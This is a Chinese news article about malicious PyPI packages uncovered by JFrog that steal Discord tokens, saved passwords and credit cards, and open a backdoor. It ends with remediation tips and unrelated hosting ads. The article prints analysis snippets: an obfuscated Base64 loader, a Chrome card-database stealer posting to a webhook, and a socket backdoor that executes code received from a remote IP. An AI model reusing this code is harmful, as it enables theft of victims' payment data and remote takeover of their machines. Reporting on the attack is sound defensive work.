PyPI又双叒叕发现恶意软件,能盗取信用卡还有后门程序

[[415370]]

本文经AI新媒体量子位(公众号ID:QbitAI)授权转载,转载请联系出处。

Python程序员真的要小心了,PyPI软件库问题真是越来越严重。

继今年6月出现挖矿病毒后,PyPI最近再次出现了一批恶意软件,

JFrog安全团队发现,PyPI库中有多个软件存在盗取信用卡信息远程注入代码的行为,而这些软件总共被下载了3万次。

这些被发现问题的恶意软件分别是:

当程序员安装完这些软件后,它们将在后台不知不觉读取浏览器文件夹,从而盗取信用卡信息和密码。

它们是如何窃取信用卡信息的

安全研究人员发现,上述所有软件包都使用Base64编码进行伪装。

比如上述的noblesse2:

  1. import base64, codecs 
  2. magic = 'aW1wb3J0IGNvbG9yYW1hLCBkYXRldGltZS...' 
  3. love = '0iLKOcY3L4Y2q1nJkxpl97nJE9Y2EyoTI0M...' 
  4. god = 'a2luZy5hcHBlbmQodG9rZW4pDQogICAgICAg...' 
  5. destiny = 'yxIKAVDaAQK3xjpQWkqRAboUcBIzqjEmS...' 
  6. joy = '\x72\x6f\x74\x31\x33' 
  7. trust = eval('\x6d\x61\x67\x69\x63') + eval('\x63\x6f\x64\x65\x63\x73\x2e\x64...'
  8. eval(compile(base64.b64decode(eval('\x74\x72\x75\x73\x74')),'','exec')) 

这种方法可以欺骗一些简单的分析工具,但是仔细研究可以发现其中的问题。

以上8个软件包分别包含了以下不同种类的恶意行为:

1、窃取Discord帐户身份验证token

Discord身份验证token读取器的代码非常简单,它就是一组硬编码的路径:

  1. local = os.getenv('LOCALAPPDATA'
  2. roaming = os.getenv('APPDATA'
  3. paths = { 
  4.     'Discord': roaming + '\\Discord'
  5.     'Discord Canary': roaming + '\\discordcanary'
  6.     'Discord PTB': roaming + '\\discordptb'
  7.     'Google Chrome': local + '\\Google\\Chrome\\User Data\\Default'
  8.     'Opera': roaming + '\\Opera Software\\Opera Stable'
  9.     'Brave': local + '\\BraveSoftware\\Brave-Browser\\User Data\\Default'
  10.     'Yandex': local + '\\Yandex\\YandexBrowser\\User Data\\Default' 

然后代码会读取这几种浏览器路径下的所有.log和.ldb文件,并查找Discord身份验证token,结果通过Webhook上传到Discord。

2、窃取浏览器存储的密码或信用卡数据

当你在浏览器中输入密码或信用卡数据时,一般都会跳出如下窗口,提示用户保存这些信息。

虽然这给用户带来方便,今后不用一遍遍输入密码,但缺点是这些信息可能会恶意软件获取。

在这种情况下,恶意软件会尝试从Chrome窃取信用卡信息:

  1. def cs(): 
  2.     master_key = master() 
  3.     login_db = os.environ['USERPROFILE'] + os.sep + \ 
  4.         r'AppData\Local\Google\Chrome\User Data\default\Web Data' 
  5.     shutil.copy2(login_db, 
  6.                  "CCvault.db"
  7.     conn = sqlite3.connect("CCvault.db"
  8.     cursor = conn.cursor() 
  9.     try
  10.         cursor.execute("SELECT * FROM credit_cards"
  11.         for r in cursor.fetchall(): 
  12.             username = r[1
  13.             encrypted_password = r[4
  14.             decrypted_password = dpw( 
  15.                 encrypted_password, master_key) 
  16.             expire_mon = r[2
  17.             expire_year = r[3
  18.             hook.send(f"CARD-NAME: " + username + "\nNUMBER: " + decrypted_password + "\nEXPIRY M: " + str(expire_mon) + "\nEXPIRY Y: " + str(expire_year) + "\n" + "*" * 10 + "\n"

这些信息和前一种情况一样会通过Webhook上传。

3、收集有关受感染PC的信息:如IP地址、计算机名称和用户名

除此之外,这些软件还会收集Windows许可证密钥信息、Windows版本以及屏幕截图。

4、远程代码注入

pytagora和pytagora2这两个恶意软件会尝试连接到某个IP地址9009端口上,然后执行Socket中可用的任何Python代码。

其中混淆的代码被安全人员解码成如下片段:

  1. import socket,struct,time 
  2. s=socket.socket(2,socket.socket.socket.SOCK_STREAM) 
  3. s.connect(('172.16.60.80',9009)) 
  4. l=struct.unpack('>I',s.recv(4))[0
  5. print (l) 
  6. d=s.recv(l) 
  7. print (d) 
  8. while len(d)>!1
  9. d+=s.recv(l-len(d)) 
  10. print (d) 
  11. exec(d,{'s':s}) 

但是安全人员现在不知道这个IP地址是什么,或者上面是否存在恶意软件。

中毒后如何挽救

如果你发现自己的电脑已经安装了诸如noblesse的恶意软件,那么请检查一下你的浏览器到底保存了哪些密码,这些密码可能已经泄露,请尽快修改。

对于Edge浏览器用户,请在地址栏中输入edge://settings/passwords,查看已保存的密码。

对于Chrome浏览器用户,请在地址栏中输入chrome://settings/payments,在付款方式一栏下查看已保存的信用卡信息。

另外可以松口气的是,PyPI维护人员已经删除了这些恶意软件包。

虽然PyPI软件库现在是安全了,但是鉴于这些开源软件库现在的维护状态,未来很可能还会遇到更多攻击。今年PyPI库出现安全问题的状况就不止一次出现。

[[415371]]

“攻击者能够使用简单的混淆技术来引入恶意软件,这意味着开发人员必须保持警惕。”

JFrog CTO说,“这是一个系统性威胁,需要由软件存储库的维护者和开发人员在多个层面积极解决。”

 

 

文章来源网络,作者:管理,如若转载,请注明出处:https://shuyeidc.com/wp/149546.html<

(0)
管理的头像管理
上一篇2025-03-12 16:13
下一篇 2025-03-12 16:14

相关推荐

  • jsp空间购买和交换数据空间怎么买,有哪些注意事项?

    购买JSP空间时,是否考虑过数据交换空间的性能?简米科技(2003年始创,23年行业沉淀)与酷番云(工信部一类增值电信全牌照)这类持牌自营机房的服务商,能确保数据交换的高效稳定,是值得优先选择的合作伙伴,为什么JSP空间需要搭配独立的数据交换空间从JSP应用特性看数据交换需求JSP基于Java技术,常用于企业级……

    2026-08-11
    0
  • 建网站用香港空间效果怎么样,香港空间稳定吗?

    建网站用香港空间,对于创建网站资产来说,核心价值在于免备案和全球带宽优势,尤其适合外贸、跨境电商和需要快速启动的项目,但你必须权衡国内访问延迟,并选择有资质的服务商以保证资产安全,香港空间的核心优势与适用边界免备案:节省时间就是节省成本国内服务器需要备案,通常需要10到20天,香港空间无需备案,域名解析后即可上……

    2026-08-11
    0
  • Java连接云数据库的方法是什么,如何操作

    Java连接云数据库的核心在于通过JDBC驱动,结合云服务商提供的连接地址、端口、数据库名及认证信息,配置安全策略(如SSL、IP白名单),即可实现稳定高效的远程数据库访问,基础准备:JDBC驱动与依赖管理连接云数据库前,需要确保开发环境具备对应的JDBC驱动,以最常见的MySQL为例,你需要引入mysql-c……

    2026-08-11
    0
  • 建网站公安联网备案必须使用数据码吗,备案流程是什么

    网站备案包括ICP备案和公安联网备案,两者缺一不可,公安联网备案必须使用服务商提供的数据码,选择持有合法资质的服务商是顺利通过备案的前提,为什么网站必须进行公安联网备案根据公安部《计算机信息网络国际联网安全保护管理办法》,网站开通后30日内必须到公安机关办理备案手续,未完成公安备案的网站,面临责令整改、关闭网站……

    2026-08-10
    0
  • 建一个企业网站大概需要多少钱?,怎么收费?

    建网站要多少钱,没有一个固定的数字,几百到几万都可能,但真正的“创建网站资产”绝不仅仅是初次投入的成本,而是基于长期稳定、合规和安全的持续性投入,其中核心取决于你选择了什么样的“地基”来承载你的业务,建站预算的构成与行业基准当你开始规划一个网站,最先面对的就是预算问题,一个常见的误区是只关注网站“看起来”的建造……

    2026-08-10
    0

发表回复

您的邮箱地址不会被公开。必填项已用 * 标注